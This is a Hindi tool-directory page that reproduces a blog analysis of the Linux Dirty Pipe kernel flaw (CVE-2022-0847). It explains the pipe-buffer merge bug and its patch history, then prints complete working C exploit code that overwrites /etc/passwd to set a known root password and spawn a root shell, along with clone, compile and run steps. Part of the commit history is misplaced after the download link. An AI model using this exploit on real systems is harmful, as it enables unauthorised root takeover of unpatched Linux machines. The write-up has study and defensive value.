Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-0847-DirtyPipe — CVE-2022-0847 (DirtyPipe) के लिए गहन विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, एक Linux कर्नेल भेद्यता जो अप्रारंभित पाइप बफर फ्लैग के माध्यम से मनमानी फ़ाइल ओवरराइट और स्थानीय विशेषाधिकार वृद्धि को सक्षम बनाती है। | Kitploit
उपकरण/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषण
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

CVE-2022-0847 (DirtyPipe) के लिए गहन विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, एक Linux कर्नेल भेद्यता जो अप्रारंभित पाइप बफर फ्लैग के माध्यम से मनमानी फ़ाइल ओवरराइट और स्थानीय विशेषाधिकार वृद्धि को सक्षम बनाती है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
14 साल पहलेअभी तक समीक्षित नहीं

title: CVE-2022-0847 (DirtyPipe स्थानीय विशेषाधिकार वृद्धि) भेद्यता विश्लेषण date: 2022-03-08 14:41:20 tags: - लिनक्स विशेषाधिकार वृद्धि categories: - सुरक्षा अनुसंधान


भेद्यता विवरण

​ CVE-2022-0847 लिनक्स कर्नेल में 5.8 के बाद से एक भेद्यता है, जिसका उपयोग करके हमलावर किसी भी केवल-पढ़ने योग्य फ़ाइल में डेटा को अधिलेखित कर सकता है। इससे सामान्य विशेषाधिकारों को root विशेषाधिकारों तक बढ़ाया जा सकता है, क्योंकि गैर-विशेषाधिकार प्राप्त प्रक्रिया रूट प्रक्रिया में कोड इंजेक्ट कर सकती है।

​ CVE-2022-0847 CVE-2016-5195 “Dirty Cow” (गंदी गाय विशेषाधिकार वृद्धि) के समान है, और इसका शोषण करना आसान है। भेद्यता लेखक ने इसे Dirty Pipe नाम दिया।

सुरक्षा घोषणा

यह ब्लॉग मुख्य रूप से संबंधित सुरक्षा घटनाओं और भेद्यता लेखों को रिकॉर्ड करने के लिए है, ताकि सभी अध्ययन, आदान-प्रदान और परीक्षण कर सकें। इस ब्लॉग लेख में दी गई जानकारी या उपकरणों के प्रसार, उपयोग से होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम और क्षति के लिए उपयोगकर्ता स्वयं जिम्मेदार है, लेखक कोई जिम्मेदारी नहीं लेता है।

प्रभावित संस्करण

खतरे का स्तर: उच्च

POC/EXP: सार्वजनिक

प्रभावित संस्करण: लिनक्स कर्नेल 5.8 और उसके बाद के संस्करण

नोट: सुरक्षित संस्करण: लिनक्स कर्नेल >= 5.16.11, लिनक्स कर्नेल >= 5.15.25, लिनक्स कर्नेल >= 5.10.102

भेद्यता विश्लेषण

यहाँ भेद्यता के विवरण का संक्षिप्त परिचय दिया गया है।

कुछ अवधारणाएँ:

Linux pipe: अर्ध-द्वैध, डेटा प्रवाह केवल एक सिरे से दूसरे सिरे तक हो सकता है

pipe_buffer: पाइप कैश, पाइप में लिखे गए डेटा को अस्थायी रूप से संग्रहीत करने के लिए, पढ़ना और लिखना दोनों पाइप कैश में होता है

page: पृष्ठ फ्रेम, 4kb, पाइप कैश के साथ एक-से-एक संबंध

pipe_buf_operations: पाइप कैश संचालन सेट संग्रहीत करने के लिए

can_merge: मर्ज फ़्लैग, यदि सामान्य पाइप पढ़ना/लिखना मौजूदा बफर में डेटा को मर्ज कर सकता है तो 1 पर सेट करें। यदि 0 पर सेट किया जाता है, तो नए पाइप पृष्ठ खंड का उपयोग हमेशा नए डेटा के लिए किया जाता है।

splice(): दो फ़ाइल डिस्क्रिप्टर के बीच डेटा स्थानांतरित करता है, sendfile() फ़ंक्शन के समान, पाइप का समर्थन करता है और शून्य-प्रतिलिपि भी है। यह फ़ाइल के पेज कैश और पाइप कैश को बांध देता है, अर्थात लिखते समय दोनों एक साथ प्रभावित होते हैं। अनुमति जाँच केवल डेटा स्रोत फ़ाइल पर पढ़ने की अनुमति की जाँच करती है, लिखते समय कोई अनुमति जाँच नहीं होती। मोटे तौर पर कॉल श्रृंखला इस प्रकार है:

root@kitploit:~
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
root@kitploit:~
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
root@kitploit:~
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

लिनक्स पाइप "मर्ज" जाँच का विकास इतिहास:

यहाँ लेखक के परिचय के अनुसार कोड का संक्षिप्त विश्लेषण दिया गया है।

  1. प्रारंभिक लिनक्स सिस्टम और अवधारणा परिचय में समान, can_merge फ़्लैग मौजूद था, जिसका उपयोग यह चिह्नित करने के लिए किया जाता था कि क्या नया डेटा मौजूदा पाइप कैश में लिखा जा सकता है।

  2. Commit 5274f052e7b3 ने splice() फ़ंक्शन जोड़ा, लेकिन सत्यापन में कोई बदलाव नहीं हुआ, यह अभी भी can_merge फ़्लैग के आधार पर निर्धारित करता था कि वर्तमान पाइप कैश उपलब्ध है या नहीं।

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119 ने can_merge फ़्लैग का उपयोग बंद कर दिया और इसके बजाय struct pipe_buf_operations पॉइंटर की तुलना की। क्योंकि केवल anon_pipe_buf_ops प्रकार नए डेटा को लिखने की अनुमति देता है, इसलिए केवल यह जाँचना आवश्यक था कि क्या यह वह प्रकार है।

    image-20220310133214287

    image-20220310133251831

इसलिए लेखक के पास निम्नलिखित उपयोग विचार हैं:

  1. एक पाइप बनाएँ
  2. pipe_buffer का PIPE_BUF_FLAG_CAN_MERGE फ़्लैग सेट करें
  3. पाइप को खाली करें, लक्ष्य के सामने के डेटा को पाइप में जोड़ें, इस समय splice पाइप कैश और पेज कैश को बांध देगा।
  4. पाइप में मनमाना डेटा लिखें, इस समय write अंततः copy_page_from_iter() के माध्यम से लिखता है, क्योंकि PIPE_BUF_FLAG_CAN_MERGE फ़्लैग के कारण, लेखन सीधे पूरा हो जाता है।

Exp विवरण

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// p[0] और p[1] बनाएँ जो पाइप के दो सिरों को इंगित करते हैं। पूर्व पढ़ता है, बाद वाला लिखता है

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // पाइप का आकार प्राप्त करें
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // पाइप भरें और PIPE_BUF_FLAG_CAN_MERGE सेट करें
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {						// पाइप खाली करें, लेकिन फ़्लैग बनाए रखें
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";								// लक्ष्य फ़ाइल पथ परिभाषित करें

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // /tmp/passwd.bak बैकअप बनाएँ
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // जाँचें कि फ़ाइल पढ़ने/लिखने के लिए सामान्य रूप से खुली है या नहीं
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // बाइट दर बाइट लिखें
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // ऑफ़सेट परिभाषित करें, यानी लक्ष्य स्थान को 'root' फ़ील्ड के बाद ओवरराइट करें
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // ओवरराइट डेटा परिभाषित करें
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // जाँचें कि लिखने की स्थिति पृष्ठ सीमा पर है या नहीं
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// वर्तमान पृष्ठ का अंत परिभाषित करें
	const loff_t end_offset = offset + (loff_t)data_size;				// ओवरराइट डेटा का अंत परिभाषित करें
	if (end_offset > next_page) {									  // जाँचें कि ओवरराइट पृष्ठ सीमा पार करता है या नहीं
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// केवल-पढ़ने के लिए लक्ष्य फ़ाइल खोलें
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// लक्ष्य फ़ाइल जानकारी संग्रहीत करने के लिए st परिभाषित करें
	if (fstat(fd, &st)) {											 // लक्ष्य फ़ाइल स्थिति प्राप्त करें
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // जाँचें कि ऑफ़सेट फ़ाइल बाइट्स से बड़ा है या नहीं
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // जाँचें कि ओवरराइट का अंत फ़ाइल बाइट्स से बड़ा है या नहीं
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // पाइप बनाएँ, फ़्लैग को PIPE_BUF_FLAG_CAN_MERGE पर सेट करें

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;													// ऑफ़सेट से 1 बाइट पहले स्थिति पर जाएँ
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // उस बाइट को स्प्लाइस करके पाइप पर भेजें
	if (nbytes < 0) {											 // जाँचें कि स्थानांतरण सफल हुआ या नहीं, -1 का अर्थ विफलता
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0 का अर्थ है कि स्थानांतरित करने के लिए कोई डेटा नहीं
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);						  // ओवरराइट डेटा को पाइप में लिखें
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// रूट के अंतर्गत शेल खोलें

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

भेद्यता का शोषण

वर्तमान में प्रदर्शन के लिए kali वर्चुअल मशीन का उपयोग किया जा रहा है।

लक्ष्य सिस्टम आवश्यकता: केवल gcc की उपस्थिति

  • वर्तमान सिस्टम कर्नेल संस्करण देखें
root@kitploit:~
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
  • exp प्राप्त करें
root@kitploit:~
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
  • निष्पादित करें
root@kitploit:~
./compile.sh	# gcc कम्पाइल

./exploit	    # exp चलाएँ, निम्न error संदेश लौटाता है
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
पासवर्ड: aaron 

लॉगिन के बाद रूट विशेषाधिकार प्राप्त होता है
  • passwd फ़ाइल पुनर्स्थापित करें
root@kitploit:~
mv /tmp/passwd.bak /etc/passwd

भेद्यता सुधार

पहले merge विशेषता सेटिंग को ठीक करें

image-20220310160200916

दूसरा, flags प्रारंभिक सेटिंग जोड़ें

image-20220310160536267

image-20220310160703429

संपादक की टिप्पणी

यहाँ हम Psyduck विशेषज्ञ का बहुत-बहुत धन्यवाद करते हैं, जिन्होंने अपना बहुमूल्य समय देकर भेद्यता प्रकटकर्ता के exp के आधार पर सिद्धांत विश्लेषण और समीक्षा की। विशेषज्ञ ने बताया कि उन्होंने स्थानीय रूप से अंतर्निहित स्तर पर संबंधित डिबगिंग भी की है, लेकिन अभी तक कोई स्पष्ट डेटा कॉल श्रृंखला नहीं मिली है, और वे अभी भी गहराई से अध्ययन कर रहे हैं।

संदर्भ लिंक

  • https://dirtypipe.cm4all.com/
  • https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

सुरक्षा घोषणा

यह ब्लॉग मुख्य रूप से संबंधित सुरक्षा घटनाओं और भेद्यता लेखों को रिकॉर्ड करने के लिए है, ताकि सभी अध्ययन, आदान-प्रदान और परीक्षण कर सकें। इस ब्लॉग लेख में दी गई जानकारी या उपकरणों के प्रसार, उपयोग से होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम और क्षति के लिए उपयोगकर्ता स्वयं जिम्मेदार है, लेखक कोई जिम्मेदारी नहीं लेता है।

टूल डाउनलोड करें
  • Commit 241699cd72a8 ने दो नए फ़ंक्शन जोड़े, जो नया struct pipe_buf_operations आवंटित कर सकते थे, लेकिन उनके flags फ़्लैग को प्रारंभ नहीं करते थे।

    image-20220310155046455

  • Commit f6dd975583bd ने इस पॉइंटर तुलना को प्रति-बफर फ़्लैग PIPE_BUF_FLAG_CAN_MERGE की तुलना में बदल दिया और PIPE_BUF_FLAG_CAN_MERGE को इंजेक्ट करने की अनुमति दी, साथ ही अन्य प्रकार के buf_ops की परिभाषा और उपयोग को हटा दिया।

    image-20220310134233873

    image-20220310134337376

    image-20220310142420972